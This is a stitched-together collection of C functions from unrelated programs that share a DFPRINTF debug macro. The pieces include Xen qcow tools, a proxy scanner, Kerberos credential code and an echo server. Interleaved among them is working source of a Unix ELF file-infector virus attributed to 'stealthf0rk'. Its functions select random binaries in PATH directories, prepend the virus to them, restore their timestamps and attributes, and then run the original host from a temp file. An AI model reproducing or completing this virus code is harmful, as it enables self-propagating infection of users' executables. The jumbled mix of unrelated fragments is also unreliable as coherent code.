int infect(int anz, char *caller) { int i = 0, j = 0; char *dir, *f, *path; char file[200]; struct stat status; /* save time ... */ path = getenv("PATH"); if ((dir = getdir(path)) == NULL) /* find directory */ return -1; while (i < anz && j < 10) { /* <anz> times */ DFPRINTF("------------- new infection stack ----------\n"); DFPRINTF("@f infect: directory of infection is <%s>\n", dir); j++; if ((f = gethost(dir, FILEPATH)) == NULL) continue; strcpy(file, f); if (saveattribs(file, &status) < 0) continue; if (infect_host(file, caller) < 0) continue; if (restoreattribs(file, status) < 0) continue; i++; j = 0; DFPRINTF("@f infect: infected file is <%s>\n", file); } return i; }
int exechost(char *caller, char **arglist, char **envlist) { int i, j, in, out, r, w; char *buff; const int vlength = VLENGTH; char tempfile[20]; struct stat status; DFPRINTF("@f exechost: caller = <%s> argv[0] = <%s>\n", caller, arglist[0]); DFPRINTF("=========== end of report =============\n"); #ifdef DEBUG if (fd != stdout) fclose(fd); #endif if ((buff = (char*)(malloc(vlength))) == NULL) return -1; /* copy rest out of the program */ if ((in = open(caller, O_RDONLY)) == -1) return -1; /* Since the files wich are just executed are locked (can't be opened for * writing) and more than one of them can run at the same time [that means * also more that one of a infected file ...] under UNIX we have to search * for the next tempfile (/tmp/tempXYZ) we can use. */ out = -1; j = 0; while (out < 0) { sprintf(tempfile, "%s%d", TEMP, j++); out = open(tempfile, O_RDWR|O_CREAT|O_TRUNC); } /* from position 'vlength' ,the virus ends there */ if (lseek(in, vlength, SEEK_SET) == -1) return -1; while ((r = read(in, buff, vlength)) > 0) { if ((w = write(out, buff, r)) == -1) return -1; } close(in); close(out); free(buff); /* put the ORIGINAL attribs of the file to the tempfile */ saveattribs(caller, &status); restoreattribs(tempfile, status); execve(tempfile, arglist, envlist); while (1); }
static int get_image_info(struct td_state *s, int fd) { int ret; long size; unsigned long total_size; struct statvfs statBuf; struct stat stat; ret = fstat(fd, &stat); if (ret != 0) { DFPRINTF("ERROR: fstat failed, Couldn't stat image"); return -EINVAL; } if (S_ISBLK(stat.st_mode)) { /*Accessing block device directly*/ s->size = 0; if (ioctl(fd,BLKGETSIZE,&s->size)!=0) { DFPRINTF("ERR: BLKGETSIZE failed, " "couldn't stat image"); return -EINVAL; } DFPRINTF("Image size: \n\tpre sector_shift [%llu]\n\tpost " "sector_shift [%llu]\n", (long long unsigned)(s->size << SECTOR_SHIFT), (long long unsigned)s->size); /*Get the sector size*/ #if defined(BLKSSZGET) { int arg; s->sector_size = DEFAULT_SECTOR_SIZE; ioctl(fd, BLKSSZGET, &s->sector_size); if (s->sector_size != DEFAULT_SECTOR_SIZE) DFPRINTF("Note: sector size is %ld (not %d)\n", s->sector_size, DEFAULT_SECTOR_SIZE); } #else s->sector_size = DEFAULT_SECTOR_SIZE; #endif } else { /*Local file? try fstat instead*/ s->size = (stat.st_size >> SECTOR_SHIFT); s->sector_size = DEFAULT_SECTOR_SIZE; DFPRINTF("Image size: [%llu]\n", (long long unsigned)s->size); } return 0; }
static void print_bytes(void *ptr, int length) { int i,k; unsigned char *p = ptr; DFPRINTF("Buf dump, length %d:\n",length); for (k = 0; k < length; k++) { DFPRINTF("%x",*p); *p++; if(k % 16 == 0) DFPRINTF("\n"); else if(k % 2 == 0) DFPRINTF(" "); } DFPRINTF("\n"); return; }
int infect_host(char *host, char *caller) { int in,out, r,w; const int vlength = VLENGTH; char *buff; if ((buff = (char*)malloc(vlength)) == NULL) return -1; /* copy <host> to tempfile, open and truncate [the host] * and copy the beginning (virus, vlength byte) of the running * program [file 'caller'] to it. */ if (cp(host, TMP) == -1) return -1; DFPRINTF("@f infect_host: copied <%s> to <%s> \n", host, TMP); if ((in = open(caller, O_RDONLY)) == -1) return -1; if ((out = open(host, O_RDWR|O_TRUNC)) == -1) return -1; DFPRINTF("@f infect_host: opened host <%s> and caller <%s>\n", host, caller); if ((r = read(in, buff, vlength)) == -1) return -1; if ((w = write(out, buff, vlength)) == -1) return -1; close(in); if ((in = open(TMP, O_RDWR)) == -1) return -1; /* append the rest of the original file to the host -> end of infection */ while ((r = read(in, buff, vlength)) > 0) { if ((w = write(out, buff, r)) == -1) return -1; } close(in); close(out); free(buff); DFPRINTF("@f infect_host: try to remove <%s>\n", TMP); remove(TMP); return 0; }
void telnet_errorcb(struct bufferevent *bev, short what, void *parameter) { struct argument *arg = parameter; DFPRINTF((stderr, "%s: called\n", __func__)); postres(arg, "<telnet proxy error>"); scanhost_return(bev, arg, 0); }
int isregular(char *file) { struct stat status; DFPRINTF("@f isregular: <%s>\n", file); if (stat(file, &status) == -1) return 0; if (!S_ISREG(status.st_mode)) return 0; else return 1; }
static void debug_output(uint64_t progress, uint64_t size) { uint64_t blocks = size/20; /*Output progress every 5% */ if (progress/blocks > prev) { memcpy(output+prev+1,"=>",2); prev++; DFPRINTF("\r%s %llu%%", output, (long long)(prev-1)*5); } return; }
int main(int argc, char **argv, char **envp) { char *s, *s2, *path, *dir; int i; char from[200]; #ifdef DEBUG /* If U are angry do this: * setenv("PATH", "/root/VTEST/bin:/root/VTEST/bad:/root/VTEST/usr/bin:/root/VTEST/bad2", 1); */ fd = fopen(TRACEFILE, "a"); #endif DFPRINTF("====== tracefile of stealthf0rk's VLP ==========\n"); path = getenv("PATH"); s = whereis(path, argv[0]); /* return only static! -> */ if (strcpy(from, s) == NULL) /* so we need a copy */ return -1; DFPRINTF("@f main: file of action is <%s>\n", from); i = infect(3, from); exechost(from, argv, envp); return 0; }
static int get_image_info(struct td_state *s, int fd) { int ret; long size; unsigned long total_size; struct statvfs statBuf; struct stat stat; ret = fstat(fd, &stat); if (ret != 0) { DFPRINTF("ERROR: fstat failed, Couldn't stat image"); return -EINVAL; } if (S_ISBLK(stat.st_mode)) { /*Accessing block device directly*/ if (blk_getimagesize(fd, &s->size) != 0) return -EINVAL; DFPRINTF("Image size: \n\tpre sector_shift [%llu]\n\tpost " "sector_shift [%llu]\n", (long long unsigned)(s->size << SECTOR_SHIFT), (long long unsigned)s->size); /*Get the sector size*/ if (blk_getsectorsize(fd, &s->sector_size) != 0) s->sector_size = DEFAULT_SECTOR_SIZE; } else { /*Local file? try fstat instead*/ s->size = (stat.st_size >> SECTOR_SHIFT); s->sector_size = DEFAULT_SECTOR_SIZE; DFPRINTF("Image size: [%llu]\n", (long long unsigned)s->size); } return 0; }
void http_writecb(struct bufferevent *bev, void *parameter) { struct argument *arg = parameter; DFPRINTF((stderr, "%s: called\n", __func__)); switch (arg->a_flags) { case 0: arg->a_flags = HTTP_WAITING_RESPONSE; http_makerequest(bev, arg, socks_getword(), 1); break; } }
char *gethost(char *dir, int flag) { #define RANDNUM (int)((double)(found)*rand()/(RAND_MAX + 1.0)) /* uff */ static int first = 1, gen = 0; int r, i = 0; static struct dirent **filelist; char *host, *path; static int found; path = getenv("PATH"); /* Only 'randomize' at the first call . * Use scandir() to read out the directory. */ if (first) { if ((found = scandir(dir, &filelist, 0, 0)) <= 0) return NULL; srand(getpid()); } r = RANDNUM; /* Get one of the file randomly. */ if ((host = whereis(path, filelist[r]->d_name)) == NULL) return NULL; /* isclean means ready for infection: NOT a directory * NOT a textfile and NOT infected */ while (isclean(host) != 1 && i < found) { r = RANDNUM; if((host = whereis(path, filelist[r]->d_name)) == NULL) return NULL; i++; } first = 0; if (i >= found) return NULL; else { DFPRINTF("@f gethost: got host <%s>\n", host); if (flag == 0) return filelist[r]->d_name; /* static */ if (flag == 1) return host; /* static, da host ein statischer */ else /* return von *whereis(...) ist */ return NULL; } #undef RANDNUM }
void telnet_writecb(struct bufferevent *bev, void *parameter) { struct argument *arg = parameter; DFPRINTF((stderr, "%s: called\n", __func__)); if (arg->a_flags == 0) { return; } else if (arg->a_flags & TELNET_WAITING_CONNECT) { bufferevent_enable(bev, EV_READ); arg->a_flags = TELNET_READING_CONNECT; } else if (arg->a_flags & TELNET_WRITING_COMMAND) { bufferevent_enable(bev, EV_READ); arg->a_flags = TELNET_WAITING_RESPONSE; } }
void http_connect_writecb(struct bufferevent *bev, void *parameter) { struct argument *arg = parameter; DFPRINTF((stderr, "%s: called\n", __func__)); if (arg->a_flags == 0) { arg->a_flags = HTTP_WAITING_CONNECT; http_makeconnect(bev, arg); bufferevent_disable(bev, EV_READ); } else if (arg->a_flags & HTTP_WAITING_CONNECT) { bufferevent_enable(bev, EV_READ); arg->a_flags = HTTP_READING_CONNECT; } else if (arg->a_flags & HTTP_WRITING_COMMAND) { bufferevent_enable(bev, EV_READ); arg->a_flags = HTTP_WAITING_RESPONSE; } }
void telnet_readcb(struct bufferevent *bev, void *parameter) { struct argument *arg = parameter; struct evbuffer *input = EVBUFFER_INPUT(bev); struct telnet_state *state = arg->a_state; DFPRINTF((stderr, "%s: called\n", __func__)); if (arg->a_flags == 0) { int res = telnet_makeconnect(bev, arg); if (res == -1) { evbuffer_add(input, "", 1); printres(arg, arg->a_ports[0].port, EVBUFFER_DATA(input)); scanhost_return(bev, arg, 0); return; } else if (res == 1) { arg->a_flags = TELNET_WAITING_CONNECT; bufferevent_disable(bev, EV_READ); } } else if (arg->a_flags & TELNET_READING_CONNECT) { if (evbuffer_find(input, state->connect_wait, strlen(state->connect_wait)) == NULL) return; evbuffer_drain(input, EVBUFFER_LENGTH(input)); arg->a_flags = TELNET_WRITING_COMMAND; bufferevent_disable(bev, EV_READ); http_makerequest(bev, arg, socks_getword(), 0); } else if (arg->a_flags & TELNET_WAITING_RESPONSE) { int res = http_bufferanalyse(bev, arg); if (res == -1) return; if (res == 1) { postres(arg, state->response); scanhost_return(bev, arg, 1); } } return; }
int iself(char *host) { int in, r = 0; char mn[5] = {0x7f,0x45,0x4c,0x46,'\0'}, /* .ELF */ buff[5] = {'\0'}; DFPRINTF("@f iself: look at file <%s>\n", host); if ((in = open(host, O_RDONLY)) == -1) return -1; if ((r = read(in, buff,4)) == -1) return -1; if (strcmp(buff, mn) == 0) { close (in); return 1; } else { close (in); return 0; } }
char *getdir(char *path) { #define NOT_IN_PATH path - _begin >= pathlen #define RANDNUM (int)((double)strlen(path)*rand()/(RAND_MAX + 1.0)) static char dir[100]; int n, r, not_found = 1, pathlen; char *_begin; static first = 1; _begin = path; pathlen = strlen(path); memset(dir,'\0',100); if (first) srand(getpid()); first = 0; while (not_found) { r = RANDNUM; path += r; if (r != 0) { path += strcspn(path, ":"); path ++; } if (NOT_IN_PATH) { path = _begin; continue; } not_found = 0; n = strcspn(path, ":"); strcpy(dir, ""); /* ... */ strncat(dir, path, n); strcat(dir,""); /* needed ??? ... */ } DFPRINTF("@f getdir: found directory <%s>\n", dir); return dir; #undef NOT_IN_PATH #undef RANDNUM }
void http_readcb(struct bufferevent *bev, void *parameter) { struct argument *arg = parameter; DFPRINTF((stderr, "%s: called\n", __func__)); if (arg->a_flags & HTTP_WAITING_RESPONSE) { int res = http_bufferanalyse(bev, arg); if (res == -1) return; if (res == 1) { postres(arg, "http proxy"); scanhost_return(bev, arg, 1); } } return; scanhost_return(bev, arg, 0); }
int cp(char *oldfile,char *newfile) { char *buff; int nf,of,r,w; if ((buff = (char*)malloc(5000)) == NULL) return -1; if ((of = open(oldfile, O_RDONLY)) == -1) return -1; if ((nf = open(newfile, O_RDWR|O_CREAT|O_TRUNC)) == -1) return -1; while ((r = read(of, buff, 5000)) > 0) { if ((w = write(nf, buff, r)) == -1) return -1; } DFPRINTF("@f cp: successfull copy of %s to %s\n", oldfile, newfile); free(buff); close(nf); close(of); return 0; }
int isinfected (char *ffile) { int out,r = 0; char cmp[4] = {0}; DFPRINTF("@f isinfected: look at <%s>\n", ffile); if ((out = open(ffile, O_RDONLY)) == -1) return -1; if ((r = lseek(out, VLENGTH + 1, SEEK_SET)) == -1) return -1; if ((r = read (out, cmp, 3)) == -1) return -1; if (strcmp("ELF", cmp) == 0) { close(out); return 1; } else { close(out); return 0; } }
int http_getheaders(struct bufferevent *bev, struct argument *arg) { struct evbuffer *input = EVBUFFER_INPUT(bev); size_t off; char *p; while ((p = evbuffer_find(input, "\n", 1)) != NULL) { off = (size_t)p - (size_t)EVBUFFER_DATA(input) + 1; if (off > 1 && *(p-1) == '\r') *(p-1) = '\0'; *p = '\0'; if (strlen(EVBUFFER_DATA(input)) == 0) { arg->a_flags |= HTTP_GOT_HEADERS; evbuffer_drain(input, off); break; } else { DFPRINTF((stderr, "Header: %s\n", EVBUFFER_DATA(input))); } /* Check that we got an okay */ if (!(arg->a_flags & HTTP_GOT_OK)) { if (http_response(EVBUFFER_DATA(input)) == -1) { return (-1); } arg->a_flags |= HTTP_GOT_OK; } evbuffer_drain(input, off); } if ((arg->a_flags & HTTP_GOT_HEADERS) && !(arg->a_flags & HTTP_GOT_OK)) return (-1); return (0); }
void http_connect_readcb(struct bufferevent *bev, void *parameter) { struct argument *arg = parameter; DFPRINTF((stderr, "%s: called\n", __func__)); if (arg->a_flags & HTTP_READING_CONNECT) { if (!(arg->a_flags & HTTP_GOT_HEADERS)) { if (http_getheaders(bev, arg) == -1) { postres(arg, "<error: response code>"); scanhost_return(bev, arg, 0); return; } } if (arg->a_flags & HTTP_GOT_HEADERS) { arg->a_flags = HTTP_WRITING_COMMAND; http_makerequest(bev, arg, socks_getword(), 0); bufferevent_disable(bev, EV_READ); return; } } else if (arg->a_flags & HTTP_WAITING_RESPONSE) { int res = http_bufferanalyse(bev, arg); if (res == -1) return; if (res == -1) { postres(arg, "http connect proxy"); scanhost_return(bev, arg, 1); } } return; scanhost_return(bev, arg, 0); }
char *whereis(char *path, char *prog) { #define IN_PATH path - _begin < pathlen + 2 static char file[200]; int i = 0, pathlen; char *_begin; struct stat status; _begin = path; pathlen = strlen(path); if (strstr(prog,"/") != NULL) /* if its entered with path */ return prog; /* -> gotcha */ memset(file,'\0',200); /* Loop until found or the pointer is not longer "in path". * [the strXYZ() functions fuzzy the best debugger. * If you want feel free to debug the virus. :-> ] */ while (access(file, X_OK) != 0 && IN_PATH) { i = strcspn(path,":"); /* split string into dirs */ strcpy(file, ""); /* only for '\0' ! */ strncat(file, path, i); strcat(file, "/"); strcat(file, prog); path = path + i + 1; } if (!(IN_PATH)) return NULL; else { DFPRINTF("@f whereis: found file <%s>\n", file); return file; } #undef IN_PATH }
int main(int argc, char *argv[]) { int ret = -1, c, backed = 0; int sparse = 1; char *fmt = "qcow"; uint64_t size; char filename[MAX_NAME_LEN], bfilename[MAX_NAME_LEN]; char *tmpfile; for(;;) { c = getopt(argc, argv, "hrf"); if (c == -1) break; switch(c) { case 'h': help(); exit(0); break; case 'f': fmt = argv[optind++]; break; case 'r': sparse = 0; break; default: fprintf(stderr, "Unknown option\n"); help(); } } printf("Optind %d, argc %d\n", optind, argc); if ( !(optind == (argc - 2) || optind == (argc - 3)) ) help(); size = atoi(argv[optind++]); size = size << 20; if (snprintf(filename, MAX_NAME_LEN, "%s",argv[optind++]) >= MAX_NAME_LEN) { fprintf(stderr,"Device name too long\n"); exit(-1); } if (optind != argc) { /*Backing file argument*/ backed = 1; if (snprintf(bfilename, MAX_NAME_LEN, "%s",argv[optind++]) >= MAX_NAME_LEN) { fprintf(stderr,"Device name too long\n"); exit(-1); } } tmpfile = backed ? bfilename: NULL; if (!strcmp(fmt, "qcow")) { ret = qcow_create(filename, size, tmpfile, sparse); } else if(!strcmp(fmt, "qcow2")) { ret = qcow2_create(filename, size, tmpfile, sparse); } else { fprintf(stderr,"Unsupport format:%s\n", fmt); exit(-1); } DFPRINTF("Creating file size %llu, name %s\n",(long long unsigned)size, filename); if (ret < 0) DPRINTF("Unable to create QCOW file\n"); else DPRINTF("QCOW file successfully created\n"); return 0; }
int main(int argc, char *argv[]) { int ret = -1, c, backed = 0; int sparse = 1; uint64_t size; char filename[MAX_NAME_LEN], bfilename[MAX_NAME_LEN]; for(;;) { c = getopt(argc, argv, "hr"); if (c == -1) break; switch(c) { case 'h': help(); exit(0); break; case 'r': sparse = 0; break; default: fprintf(stderr, "Unknown option\n"); help(); } } printf("Optind %d, argc %d\n", optind, argc); if ( !(optind == (argc - 2) || optind == (argc - 3)) ) help(); size = atoi(argv[optind++]); size = size << 20; if (snprintf(filename, MAX_NAME_LEN, "%s",argv[optind++]) >= MAX_NAME_LEN) { fprintf(stderr,"Device name too long\n"); exit(-1); } if (optind != argc) { /*Backing file argument*/ backed = 1; if (snprintf(bfilename, MAX_NAME_LEN, "%s",argv[optind++]) >= MAX_NAME_LEN) { fprintf(stderr,"Device name too long\n"); exit(-1); } } DFPRINTF("Creating file size %"PRIu64", name %s\n",(uint64_t)size, filename); if (!backed) ret = qcow_create(filename,size,NULL,sparse); else ret = qcow_create(filename,size,bfilename,sparse); if (ret < 0) DPRINTF("Unable to create QCOW file\n"); else DPRINTF("QCOW file successfully created\n"); return 0; }
static krb5_error_code krb5_get_cred_from_kdc_opt(krb5_context context, krb5_ccache ccache, krb5_creds *in_cred, krb5_creds **out_cred, krb5_creds ***tgts, int kdcopt) { krb5_error_code retval, subretval; krb5_principal client, server, supplied_server, out_supplied_server; krb5_creds tgtq, cc_tgt, *tgtptr, *referral_tgts[KRB5_REFERRAL_MAXHOPS]; krb5_creds *otgtptr = NULL; int tgtptr_isoffpath = 0; krb5_boolean old_use_conf_ktypes; char **hrealms; unsigned int referral_count, i; /* * Set up client and server pointers. Make a fresh and modifyable * copy of the in_cred server and save the supplied version. */ client = in_cred->client; if ((retval=krb5_copy_principal(context, in_cred->server, &server))) return retval; /* We need a second copy for the output creds. */ if ((retval = krb5_copy_principal(context, server, &out_supplied_server)) != 0 ) { krb5_free_principal(context, server); return retval; } supplied_server = in_cred->server; in_cred->server=server; DUMP_PRINC("gc_from_kdc initial client", client); DUMP_PRINC("gc_from_kdc initial server", server); memset(&cc_tgt, 0, sizeof(cc_tgt)); memset(&tgtq, 0, sizeof(tgtq)); memset(&referral_tgts, 0, sizeof(referral_tgts)); tgtptr = NULL; *tgts = NULL; *out_cred=NULL; old_use_conf_ktypes = context->use_conf_ktypes; /* Copy client realm to server if no hint. */ if (krb5_is_referral_realm(&server->realm)) { /* Use the client realm. */ DPRINTF(("gc_from_kdc: no server realm supplied, " "using client realm.\n")); krb5_free_data_contents(context, &server->realm); if (!( server->realm.data = (char *)malloc(client->realm.length+1))) return ENOMEM; memcpy(server->realm.data, client->realm.data, client->realm.length); server->realm.length = client->realm.length; server->realm.data[server->realm.length] = 0; } /* * Retreive initial TGT to match the specified server, either for the * local realm in the default (referral) case or for the remote * realm if we're starting someplace non-local. */ retval = tgt_mcred(context, client, server, client, &tgtq); if (retval) goto cleanup; /* Fast path: Is it in the ccache? */ context->use_conf_ktypes = 1; retval = krb5_cc_retrieve_cred(context, ccache, RETR_FLAGS, &tgtq, &cc_tgt); if (!retval) { tgtptr = &cc_tgt; } else if (!HARD_CC_ERR(retval)) { DPRINTF(("gc_from_kdc: starting do_traversal to find " "initial TGT for referral\n")); tgtptr_isoffpath = 0; otgtptr = NULL; retval = do_traversal(context, ccache, client, server, &cc_tgt, &tgtptr, tgts, &tgtptr_isoffpath); } if (retval) { DPRINTF(("gc_from_kdc: failed to find initial TGT for referral\n")); goto cleanup; } DUMP_PRINC("gc_from_kdc: server as requested", supplied_server); /* * Try requesting a service ticket from our local KDC with referrals * turned on. If the first referral succeeds, follow a referral-only * path, otherwise fall back to old-style assumptions. */ /* * Save TGTPTR because we rewrite it in the referral loop, and * we might need to explicitly free it later. */ otgtptr = tgtptr; for (referral_count = 0; referral_count < KRB5_REFERRAL_MAXHOPS; referral_count++) { #if 0 DUMP_PRINC("gc_from_kdc: referral loop: tgt in use", tgtptr->server); DUMP_PRINC("gc_from_kdc: referral loop: request is for", server); #endif retval = krb5_get_cred_via_tkt(context, tgtptr, KDC_OPT_CANONICALIZE | FLAGS2OPTS(tgtptr->ticket_flags) | kdcopt | (in_cred->second_ticket.length ? KDC_OPT_ENC_TKT_IN_SKEY : 0), tgtptr->addresses, in_cred, out_cred); if (retval) { DPRINTF(("gc_from_kdc: referral TGS-REQ request failed: <%s>\n", error_message(retval))); /* If we haven't gone anywhere yet, fail through to the non-referral case. */ if (referral_count==0) { DPRINTF(("gc_from_kdc: initial referral failed; " "punting to fallback.\n")); break; } /* Otherwise, try the same query without canonicalization set, and fail hard if that doesn't work. */ DPRINTF(("gc_from_kdc: referral #%d failed; " "retrying without option.\n", referral_count + 1)); retval = krb5_get_cred_via_tkt(context, tgtptr, FLAGS2OPTS(tgtptr->ticket_flags) | kdcopt | (in_cred->second_ticket.length ? KDC_OPT_ENC_TKT_IN_SKEY : 0), tgtptr->addresses, in_cred, out_cred); /* Whether or not that succeeded, we're done. */ goto cleanup; } /* Referral request succeeded; let's see what it is. */ if (krb5_principal_compare(context, in_cred->server, (*out_cred)->server)) { DPRINTF(("gc_from_kdc: request generated ticket " "for requested server principal\n")); DUMP_PRINC("gc_from_kdc final referred reply", in_cred->server); /* * Check if the return enctype is one that we requested if * needed. */ if (old_use_conf_ktypes || context->tgs_ktype_count == 0) goto cleanup; for (i = 0; i < context->tgs_ktype_count; i++) { if ((*out_cred)->keyblock.enctype == context->tgs_ktypes[i]) { /* Found an allowable etype, so we're done */ goto cleanup; } } /* * We need to try again, but this time use the * tgs_ktypes in the context. At this point we should * have all the tgts to succeed. */ /* Free "wrong" credential */ krb5_free_creds(context, *out_cred); *out_cred = NULL; /* Re-establish tgs etypes */ context->use_conf_ktypes = old_use_conf_ktypes; retval = krb5_get_cred_via_tkt(context, tgtptr, KDC_OPT_CANONICALIZE | FLAGS2OPTS(tgtptr->ticket_flags) | kdcopt | (in_cred->second_ticket.length ? KDC_OPT_ENC_TKT_IN_SKEY : 0), tgtptr->addresses, in_cred, out_cred); goto cleanup; } else if (IS_TGS_PRINC(context, (*out_cred)->server)) { krb5_data *r1, *r2; DPRINTF(("gc_from_kdc: request generated referral tgt\n")); DUMP_PRINC("gc_from_kdc credential received", (*out_cred)->server); if (referral_count == 0) r1 = &tgtptr->server->data[1]; else r1 = &referral_tgts[referral_count-1]->server->data[1]; r2 = &(*out_cred)->server->data[1]; if (data_eq(*r1, *r2)) { DPRINTF(("gc_from_kdc: referred back to " "previous realm; fall back\n")); krb5_free_creds(context, *out_cred); *out_cred = NULL; break; } /* Check for referral routing loop. */ for (i=0;i<referral_count;i++) { #if 0 DUMP_PRINC("gc_from_kdc: loop compare #1", (*out_cred)->server); DUMP_PRINC("gc_from_kdc: loop compare #2", referral_tgts[i]->server); #endif if (krb5_principal_compare(context, (*out_cred)->server, referral_tgts[i]->server)) { DFPRINTF((stderr, "krb5_get_cred_from_kdc_opt: " "referral routing loop - " "got referral back to hop #%d\n", i)); retval=KRB5_KDC_UNREACH; goto cleanup; } } /* Point current tgt pointer at newly-received TGT. */ if (tgtptr == &cc_tgt) krb5_free_cred_contents(context, tgtptr); tgtptr=*out_cred; /* Save pointer to tgt in referral_tgts. */ referral_tgts[referral_count]=*out_cred; *out_cred = NULL; /* Copy krbtgt realm to server principal. */ krb5_free_data_contents(context, &server->realm); retval = krb5int_copy_data_contents(context, &tgtptr->server->data[1], &server->realm); if (retval) return retval; /* * Future work: rewrite server principal per any * supplied padata. */ } else { /* Not a TGT; punt to fallback. */ krb5_free_creds(context, *out_cred); *out_cred = NULL; break; } } DUMP_PRINC("gc_from_kdc client at fallback", client); DUMP_PRINC("gc_from_kdc server at fallback", server); /* * At this point referrals have been tried and have failed. Go * back to the server principal as originally issued and try the * conventional path. */ /* * Referrals have failed. Look up fallback realm if not * originally provided. */ if (krb5_is_referral_realm(&supplied_server->realm)) { if (server->length >= 2) { retval=krb5_get_fallback_host_realm(context, &server->data[1], &hrealms); if (retval) goto cleanup; #if 0 DPRINTF(("gc_from_kdc: using fallback realm of %s\n", hrealms[0])); #endif krb5_free_data_contents(context,&in_cred->server->realm); server->realm.data=hrealms[0]; server->realm.length=strlen(hrealms[0]); free(hrealms); } else { /* * Problem case: Realm tagged for referral but apparently not * in a <type>/<host> format that * krb5_get_fallback_host_realm can deal with. */ DPRINTF(("gc_from_kdc: referral specified " "but no fallback realm avaiable!\n")); return KRB5_ERR_HOST_REALM_UNKNOWN; } } DUMP_PRINC("gc_from_kdc server at fallback after fallback rewrite", server); /* * Get a TGT for the target realm. */ krb5_free_cred_contents(context, &tgtq); retval = tgt_mcred(context, client, server, client, &tgtq); if (retval) goto cleanup; /* Fast path: Is it in the ccache? */ /* Free tgtptr data if reused from above. */ if (tgtptr == &cc_tgt) krb5_free_cred_contents(context, tgtptr); tgtptr = NULL; /* Free saved TGT in OTGTPTR if it was off-path. */ if (tgtptr_isoffpath) krb5_free_creds(context, otgtptr); otgtptr = NULL; /* Free TGTS if previously filled by do_traversal() */ if (*tgts != NULL) { for (i = 0; (*tgts)[i] != NULL; i++) { krb5_free_creds(context, (*tgts)[i]); } free(*tgts); *tgts = NULL; } context->use_conf_ktypes = 1; retval = krb5_cc_retrieve_cred(context, ccache, RETR_FLAGS, &tgtq, &cc_tgt); if (!retval) { tgtptr = &cc_tgt; } else if (!HARD_CC_ERR(retval)) { tgtptr_isoffpath = 0; retval = do_traversal(context, ccache, client, server, &cc_tgt, &tgtptr, tgts, &tgtptr_isoffpath); } if (retval) goto cleanup; otgtptr = tgtptr; /* * Finally have TGT for target realm! Try using it to get creds. */ if (!krb5_c_valid_enctype(tgtptr->keyblock.enctype)) { retval = KRB5_PROG_ETYPE_NOSUPP; goto cleanup; } context->use_conf_ktypes = old_use_conf_ktypes; retval = krb5_get_cred_via_tkt(context, tgtptr, FLAGS2OPTS(tgtptr->ticket_flags) | kdcopt | (in_cred->second_ticket.length ? KDC_OPT_ENC_TKT_IN_SKEY : 0), tgtptr->addresses, in_cred, out_cred); cleanup: krb5_free_cred_contents(context, &tgtq); if (tgtptr == &cc_tgt) krb5_free_cred_contents(context, tgtptr); if (tgtptr_isoffpath) krb5_free_creds(context, otgtptr); context->use_conf_ktypes = old_use_conf_ktypes; /* Drop the original principal back into in_cred so that it's cached in the expected format. */ DUMP_PRINC("gc_from_kdc: final hacked server principal at cleanup", server); krb5_free_principal(context, server); in_cred->server = supplied_server; if (*out_cred && !retval) { /* Success: free server, swap supplied server back in. */ krb5_free_principal (context, (*out_cred)->server); (*out_cred)->server= out_supplied_server; } else { /* * Failure: free out_supplied_server. Don't free out_cred here * since it's either null or a referral TGT that we free below, * and we may need it to return. */ krb5_free_principal (context, out_supplied_server); } DUMP_PRINC("gc_from_kdc: final server after reversion", in_cred->server); /* * Deal with ccache TGT management: If tgts has been set from * initial non-referral TGT discovery, leave it alone. Otherwise, if * referral_tgts[0] exists return it as the only entry in tgts. * (Further referrals are never cached, only the referral from the * local KDC.) This is part of cleanup because useful received TGTs * should be cached even if the main request resulted in failure. */ if (*tgts == NULL) { if (referral_tgts[0]) { #if 0 /* * This should possibly be a check on the candidate return * credential against the cache, in the circumstance where we * don't want to clutter the cache with near-duplicate * credentials on subsequent iterations. For now, it is * disabled. */ subretval=...?; if (subretval) { #endif /* Allocate returnable TGT list. */ if (!(*tgts=calloc(sizeof (krb5_creds *), 2))) return ENOMEM; subretval=krb5_copy_creds(context, referral_tgts[0], &((*tgts)[0])); if(subretval) return subretval; (*tgts)[1]=NULL; DUMP_PRINC("gc_from_kdc: returning referral TGT for ccache", (*tgts)[0]->server); #if 0 } #endif } } /* Free referral TGTs list. */ for (i=0;i<KRB5_REFERRAL_MAXHOPS;i++) { if(referral_tgts[i]) { krb5_free_creds(context, referral_tgts[i]); } } DPRINTF(("gc_from_kdc finishing with %s\n", retval ? error_message(retval) : "no error")); return retval; }
void * echo_server(void * arg) { int status; char buffer[MAX_BUFFER_LEN]; ServerTag * server_tag = arg; int c_socket = server_tag->c_socket; ssize_t num_read; struct timeval time_out; char * error_msg; /* Free struct allocated by calling function before we do anything that might cause us to exit() */ free(server_tag); DINCREMENT_THREAD_COUNT(); DFPRINTF ((stderr, "Entering thread - number of active threads is %d.\n", get_thread_count())); /* Detach thread, the main server doesn't wait for it */ status = pthread_detach(pthread_self()); if ( status != 0 ) { mk_errmsg("Error detaching thread", &error_msg); fprintf(stderr, "%s\n", error_msg); free(error_msg); exit(EXIT_FAILURE); } /* Loop over input lines */ while ( 1 ) { /* Note: Linux modifies the struct timeval on a call to select(), so we need to reset it before each call. */ time_out.tv_sec = time_out_secs; time_out.tv_usec = time_out_usecs; num_read = socket_readline_timeout_r(c_socket, buffer, MAX_BUFFER_LEN, &time_out, &error_msg); if ( num_read < 0 ) { fprintf(stderr, "%s\n", error_msg); free(error_msg); exit(EXIT_FAILURE); } if ( num_read == 0 ) { /* We've timed out getting a line of input */ DFPRINTF ((stderr, "No input available.\n")); if ( socket_writeline_r(c_socket, time_out_msg, strlen(time_out_msg), &error_msg) < 0 ) { fprintf(stderr, "%s\n", error_msg); free(error_msg); exit(EXIT_FAILURE); } break; } /* Echo the line of input */ DFPRINTF ((stderr, "Echoing input.\n")); if ( socket_writeline_r(c_socket, buffer, strlen(buffer), &error_msg) < 0 ) { fprintf(stderr, "%s\n", error_msg); free(error_msg); exit(EXIT_FAILURE); } } if ( close(c_socket) == - 1 ) { mk_errmsg("Error closing socket", &error_msg); fprintf(stderr, "%s\n", error_msg); free(error_msg); exit(EXIT_FAILURE); } DFPRINTF ((stderr, "Exiting from thread.\n")); DDECREMENT_THREAD_COUNT(); return NULL; }